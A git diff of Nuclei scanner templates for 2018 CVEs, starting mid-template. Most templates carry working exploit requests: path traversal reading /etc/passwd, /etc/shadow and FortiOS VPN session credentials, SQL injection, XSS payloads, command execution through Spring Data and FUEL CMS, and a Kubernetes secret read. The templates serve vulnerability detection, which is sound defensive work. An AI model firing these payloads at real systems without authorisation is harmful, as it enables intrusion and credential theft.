CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 7.5 - cve-id: CVE-2018-10956 - cwe-id: CWE-22 - tags: cve,cve2018,Orchid,vms,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/shadow" - matchers-condition: and - matchers: - - type: word - words: - - "root:*:" - - "bin:*:" - condition: and - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-11231.yaml b/nuclei-templates/CVE-2018/CVE-2018-11231.yaml deleted file mode 100644 index 9412a5f837..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-11231.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2018-11231 -info: - name: Opencart Divido - Sql Injection - author: ritikchaddha - severity: high - description: | - OpenCart Divido plugin is susceptible to SQL injection - reference: - - http://foreversong.cn/archives/1183 - - https://nvd.nist.gov/vuln/detail/CVE-2018-11231 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.10 - cve-id: CVE-2018-11231 - cwe-id: CWE-89 - tags: cve,cve2018,opencart,sqli -variables: - num: "999999999" -requests: - - raw: - - | - POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1 - Host: {{Hostname}} - - {"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)"},"status":2} - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/19 diff --git a/nuclei-templates/CVE-2018/CVE-2018-11759.yaml b/nuclei-templates/CVE-2018/CVE-2018-11759.yaml deleted file mode 100644 index d031ff11eb..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-11759.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-11759 - -info: - name: Apache Tomcat JK Status Manager Access - author: harshbothra_ - severity: high - description: The Apache Web Server (httpd) specific code that normalised the requested path before matching it to the URI-worker map in Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 did not handle some edge cases correctly. If only a sub-set of the URLs supported by Tomcat were exposed via httpd, then it was possible for a specially constructed request to expose application functionality through the reverse proxy that was not intended for clients accessing the application via the reverse proxy. It was also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical. - reference: - - https://github.com/immunIT/CVE-2018-11759 - - https://lists.apache.org/thread.html/6d564bb0ab73d6b3efdd1d6b1c075d1a2c84ecd84a4159d6122529ad@%3Cannounce.tomcat.apache.org%3E - - http://www.securityfocus.com/bid/105888 - - https://lists.debian.org/debian-lts-announce/2018/12/msg00007.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-11759 - cwe-id: CWE-22 - tags: cve,cve2018,apache,tomcat,status - -requests: - - method: GET - path: - - '{{BaseURL}}/jkstatus' - - '{{BaseURL}}/jkstatus;' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "JK Status Manager" diff --git a/nuclei-templates/CVE-2018/CVE-2018-12095.yaml b/nuclei-templates/CVE-2018/CVE-2018-12095.yaml new file mode 100644 index 0000000000..cd09108f78 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-12095.yaml @@ -0,0 +1,38 @@ +id: CVE-2018-12095 + +info: + name: OEcms 3.1 - Cross-Site Scripting + author: LogicalHunter + severity: medium + description: A Reflected Cross-Site Scripting web vulnerability has been discovered in the OEcms v3.1 web-application. The vulnerability is located in the mod parameter of info.php. + reference: + - https://www.exploit-db.com/exploits/44895 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12095 + - https://cxsecurity.com/issue/WLB-2018060092 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2018-12095 + cwe-id: CWE-79 + tags: cve,cve2018,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-12296.yaml b/nuclei-templates/CVE-2018/CVE-2018-12296.yaml new file mode 100644 index 0000000000..8e671af933 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-12296.yaml @@ -0,0 +1,49 @@ +id: CVE-2018-12296 + +info: + name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure + author: princechaddha + severity: high + description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos. + remediation: | + Upgrade to a patched version of Seagate NAS OS. + reference: + - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170 + - https://nvd.nist.gov/vuln/detail/CVE-2018-12296 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-12296 + cwe-id: CWE-732 + epss-score: 0.01545 + epss-percentile: 0.85675 + cpe: cpe:2.3:o:seagate:nas_os:4.3.15.1:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: seagate + product: nas_os + tags: cve,cve2018,seagate,nasos,disclosure,unauth + +http: + - raw: + - | + POST /api/external/7.0/system.System.get_infos HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}} + + matchers: + - type: word + part: body + words: + - '"version":' + - '"serial_number":' + condition: and + + extractors: + - type: regex + group: 1 + regex: + - '"version": "([0-9.]+)"' + part: body + +# digest: 490a00463044022047b0cb4bc8f43872d1a4b51ddd0e241d6890ea3178d02488aac70fcd0be5b3df022004ca155952310187452b6056f780f0f6e0ef89de72cdb522a4618e330a5d77e9:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2018/CVE-2018-1247.yaml b/nuclei-templates/CVE-2018/CVE-2018-1247.yaml deleted file mode 100644 index 4d0cf1ab7e..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-1247.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: CVE-2018-1247 - -info: - name: RSA Authentication Manager XSS - author: madrobot - severity: medium - tags: cve,cve2018,xss,flash - -requests: - - method: GET - path: - - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//" - - matchers-condition: and - matchers: - - type: word - words: - - "application/x-shockwave-flash" - part: header - - type: word - words: - - "javascript:alert(1337)" - part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-1273.yaml b/nuclei-templates/CVE-2018/CVE-2018-1273.yaml deleted file mode 100644 index 1982b42721..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-1273.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2018-1273 - -info: - name: Spring Data Commons - Remote Code Execution - author: dwisiswant0 - severity: critical - description: | - Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, - and older unsupported versions, contain a property binder vulnerability - caused by improper neutralization of special elements. - An unauthenticated remote malicious user (or attacker) can supply - specially crafted request parameters against Spring Data REST backed HTTP resources - or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-1273 - - https://pivotal.io/security/cve-2018-1273 - - http://mail-archives.apache.org/mod_mbox/ignite-dev/201807.mbox/%3CCAK0qHnqzfzmCDFFi6c5Jok19zNkVCz5Xb4sU%3D0f2J_1i4p46zQ%40mail.gmail.com%3E - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-1273 - cwe-id: CWE-20 - tags: cve,cve2018,vmware,rce,spring,kev - metadata: - max-request: 2 - -http: - - raw: - - | - POST /account HTTP/1.1 - Host: {{Hostname}} - Connection: close - Content-Type: application/x-www-form-urlencoded - - name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('{{command}}')}}')]=nuclei - - payloads: - command: - - "cat /etc/passwd" - - "type C:\\/Windows\\/win.ini" - - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - "\\[(font|extension|file)s\\]" - condition: or - part: body - -# Enhanced by mp on 2022/05/12 diff --git a/nuclei-templates/CVE-2018/CVE-2018-13379.yaml b/nuclei-templates/CVE-2018/CVE-2018-13379.yaml new file mode 100644 index 0000000000..3ad6d6e608 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-13379.yaml @@ -0,0 +1,28 @@ +id: CVE-2018-13379 + +info: + name: Fortinet FortiOS - Credentials Disclosure + author: organiccrap + severity: critical + description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal). + reference: + - https://fortiguard.com/advisory/FG-IR-18-384 + - https://www.fortiguard.com/psirt/FG-IR-20-233 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-13379 + cwe-id: CWE-22 + tags: cve,cve2018,fortios + +requests: + - method: GET + path: + - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" + matchers: + - type: word + words: + - "var fgt_lang" + +# Enhanced by mp on 2022/05/12 diff --git a/nuclei-templates/CVE-2018/CVE-2018-13880.yaml b/nuclei-templates/CVE-2018/CVE-2018-13880.yaml new file mode 100644 index 0000000000..97d5ec71fb --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-13880.yaml @@ -0,0 +1,37 @@ +id: CVE-2018-13380 + +info: + name: Fortinet FortiOS Cross-Site Scripting + author: shelld3v + severity: medium + description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters. + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380 + tags: cve,cve2018,fortios,xss,fortinet + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-13380 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E" + - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "application/json" + part: header + negative: true + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-13980.yaml b/nuclei-templates/CVE-2018/CVE-2018-13980.yaml deleted file mode 100644 index fd9ee56799..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-13980.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-13980 - -info: - name: Zeta Producer Desktop CMS 14.2.0 - Arbitrary File Retrieval - author: wisnupramoedya - severity: medium - description: The websites that were built from Zeta Producer Desktop CMS before 14.2.1 are vulnerable to unauthenticated file disclosure if the plugin "filebrowser" is installed, because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal. - reference: - - https://www.exploit-db.com/exploits/45016 - - https://nvd.nist.gov/vuln/detail/CVE-2018-13980 - - https://www.sec-consult.com/en/blog/advisories/remote-code-execution-local-file-disclosure-zeta-producer-desktop-cms/ - - http://packetstormsecurity.com/files/148537/Zeta-Producer-Desktop-CMS-14.2.0-Code-Execution-File-Disclosure.html - classification: - cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 5.5 - cve-id: CVE-2018-13980 - cwe-id: CWE-22 - tags: cve,cve2018,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14916.yaml b/nuclei-templates/CVE-2018/CVE-2018-14916.yaml new file mode 100644 index 0000000000..751421b50f --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-14916.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-14916 +info: + name: Loytec LGATE-902 Directory Traversal + author: 0x_Akoko + severity: critical + description: Loytec LGATE-902 versions prior to 6.4.2 suffer from cross site scripting, arbitrary file deletion, and directory traversal vulnerabilities. + reference: + - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html + - https://www.cvedetails.com/cve/CVE-2018-14916 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.4 + cve-id: CVE-2018-14916 + cwe-id: CWE-732 + tags: cve,cve2018,loytec,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-16133.yaml b/nuclei-templates/CVE-2018/CVE-2018-16133.yaml deleted file mode 100644 index 7e54e984da..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-16133.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-16133 - -info: - name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal - author: 0x_Akoko - severity: medium - description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. - reference: - - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html - - http://www.cybrotech.com/ - - https://www.cvedetails.com/cve/CVE-2018-16133 - - https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2018-16133 - cwe-id: CWE-22 - tags: cve,cve2018,cybrotech,lfi - -requests: - - raw: - - |+ - GET \..\..\..\..\Windows\win.ini HTTP/1.1 - Host: {{Hostname}} - - unsafe: true - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-16283.yaml b/nuclei-templates/CVE-2018/CVE-2018-16283.yaml new file mode 100644 index 0000000000..5da2280652 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-16283.yaml @@ -0,0 +1,27 @@ +id: CVE-2018-16283 + +info: + name: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion + author: 0x240x23elu + severity: critical + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-16283 + - https://www.exploit-db.com/exploits/45438 + tags: cve,cve2018,wordpress,wp-plugin,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-16283 + cwe-id: CWE-22 + description: "The Wechat Broadcast plugin 1.2.0 and earlier for WordPress allows Directory Traversal via the Image.php url parameter." + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd" + + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2018/cve-2018-16668.yaml b/nuclei-templates/CVE-2018/CVE-2018-16668.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-16668.yaml rename to nuclei-templates/CVE-2018/CVE-2018-16668.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-16716.yaml b/nuclei-templates/CVE-2018/CVE-2018-16716.yaml deleted file mode 100644 index 4046e6e054..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-16716.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2018-16716 -info: - name: NCBI ToolBox - Directory Traversal - author: 0x_Akoko - severity: high - description: A path traversal vulnerability exists in viewcgi.c in the 2.0.7 through 2.2.26 legacy versions of the NCBI ToolBox, which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string. - reference: - - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md - - https://nvd.nist.gov/vuln/detail/CVE-2018-16716 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-16716 - cwe-id: CWE-22 - tags: cve,cve18,ncbi,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-16761.yaml b/nuclei-templates/CVE-2018/CVE-2018-16761.yaml new file mode 100644 index 0000000000..eea41f7f98 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-16761.yaml @@ -0,0 +1,28 @@ +id: CVE-2018-16761 + +info: + name: Eventum v3.3.4 - Open Redirect + author: 0x_Akoko + severity: medium + description: Eventum before 3.4.0 has an open redirect vulnerability. + reference: + - https://www.invicti.com/web-applications-advisories/ns-18-021-open-redirection-vulnerabilities-in-eventum/ + - https://www.cvedetails.com/cve/CVE-2018-16761/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-16761 + cwe-id: CWE-601 + tags: cve,cve2018,redirect,eventum + +requests: + - method: GET + path: + - '{{BaseURL}}/eventum/htdocs/select_project.php?url=http://example.com' + - '{{BaseURL}}/eventum/htdocs/clock_status.php?current_page=http://example.com' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2018/CVE-2018-16763.yaml b/nuclei-templates/CVE-2018/CVE-2018-16763.yaml deleted file mode 100644 index 773df02e1e..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-16763.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-16763 - -info: - name: FUEL CMS 1.4.1 - Remote Code Execution - author: pikpikcu - severity: critical - description: FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. - reference: - - https://www.exploit-db.com/exploits/47138 - - https://www.getfuelcms.com/ - - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 - - https://nvd.nist.gov/vuln/detail/CVE-2018-16763 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-16763 - cwe-id: CWE-74 - tags: cve,cve2018,fuelcms,rce - -requests: - - raw: - - | - GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/05/12 diff --git a/nuclei-templates/CVE-2018/CVE-2018-16836.yaml b/nuclei-templates/CVE-2018/CVE-2018-16836.yaml new file mode 100644 index 0000000000..87db214d73 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-16836.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-16836 + +info: + name: Rubedo CMS <=3.4.0 - Directory Traversal + author: 0x_Akoko + severity: critical + description: Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI. + reference: + - https://www.exploit-db.com/exploits/45385 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16836 + - https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms + - https://www.exploit-db.com/exploits/45385/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-16836 + cwe-id: CWE-22 + tags: cve,cve2018,rubedo,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/CVE-2018-18264.yaml b/nuclei-templates/CVE-2018/CVE-2018-18264.yaml deleted file mode 100644 index c0b21f42aa..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-18264.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2018-18264 - -info: - name: Kubernetes Dashboard <1.10.1 - Authentication Bypass - author: edoardottt - severity: high - description: | - Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. - impact: | - An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster. - remediation: | - Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability. - reference: - - https://github.com/kubernetes/dashboard/pull/3289 - - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/ - - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI - - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 - - https://github.com/kubernetes/dashboard/pull/3400 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-18264 - cwe-id: CWE-306 - epss-score: 0.96092 - epss-percentile: 0.99459 - cpe: cpe:2.3:a:kubernetes:dashboard:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: kubernetes - product: dashboard - shodan-query: product:"Kubernetes" - tags: cve,cve2018,kubernetes,k8s,auth-bypass - -http: - - method: GET - path: - - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" - - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'contains(body, "apiVersion") && contains(body, "objectRef")' - - - type: status - status: - - 200 -# digest: 4a0a00473045022100921dd75b1c4fd5bb0371f58e6411d7e4a06e9735d08963cb9f30cc658605c4ac02201a2470f007b63400ce14203c27f974db451f5e977b2d72cbb796458ce436c080:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-18323.yaml b/nuclei-templates/CVE-2018/CVE-2018-18323.yaml deleted file mode 100644 index 0161cdc19f..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-18323.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-18323 - -info: - name: Centos Web Panel 0.9.8.480 LFI - author: 0x_Akoko - severity: high - description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. - reference: - - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html - - http://centos-webpanel.com/ - - https://www.cvedetails.com/cve/CVE-2018-18323 - - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-18323 - cwe-id: CWE-22 - tags: cve,cve2018,centos,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-18570.yaml b/nuclei-templates/CVE-2018/CVE-2018-18570.yaml new file mode 100644 index 0000000000..dc4cb72724 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-18570.yaml @@ -0,0 +1,37 @@ +id: CVE-2018-18570 + +info: + name: Cross-Site Scripting on Planon web application + author: emadshanab + severity: medium + description: Planon before Live Build 41 has XSS + reference: + - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-18570 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-18570 + cwe-id: CWE-79 + tags: xss,cve,cve2018,planon + +requests: + - method: GET + path: + - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header diff --git a/nuclei-templates/CVE-2018/CVE-2018-18775.yaml b/nuclei-templates/CVE-2018/CVE-2018-18775.yaml deleted file mode 100644 index a6dcb26ecb..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-18775.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2018-18775 - -info: - author: 0x_Akoko - description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter - name: Cross Site Scripting in Microstrategy Web version 7 - severity: medium - tags: microstrategy,xss - reference: https://www.exploit-db.com/exploits/45755 - -requests: - - method: GET - path: - - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2018/cve-2018-18777.yaml b/nuclei-templates/CVE-2018/CVE-2018-18777.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-18777.yaml rename to nuclei-templates/CVE-2018/CVE-2018-18777.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-18925.yaml b/nuclei-templates/CVE-2018/CVE-2018-18925.yaml new file mode 100644 index 0000000000..c8cdae0248 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-18925.yaml @@ -0,0 +1,41 @@ +id: CVE-2018-18925 + +info: + name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution + author: princechaddha + severity: critical + description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron. + reference: + - https://www.anquanke.com/post/id/163575 + - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925 + - https://nvd.nist.gov/vuln/detail/cve-2018-18925 + - https://github.com/gogs/gogs/issues/5469 + remediation: This issue will be fixed by updating to the latest version of Gogs. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-18925 + cwe-id: CWE-384 + tags: gogs,lfi,rce,vulhub,cve,cve2018 + metadata: + max-request: 2 + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd; + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy; + + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "")' + +# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/CVE-2018-19136.yaml b/nuclei-templates/CVE-2018/CVE-2018-19136.yaml deleted file mode 100644 index 2fa0974afa..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19136.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2018-19136 -info: - name: DomainMOD 4.11.01 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.11.01 is vulnerable to Reflected Cross Site 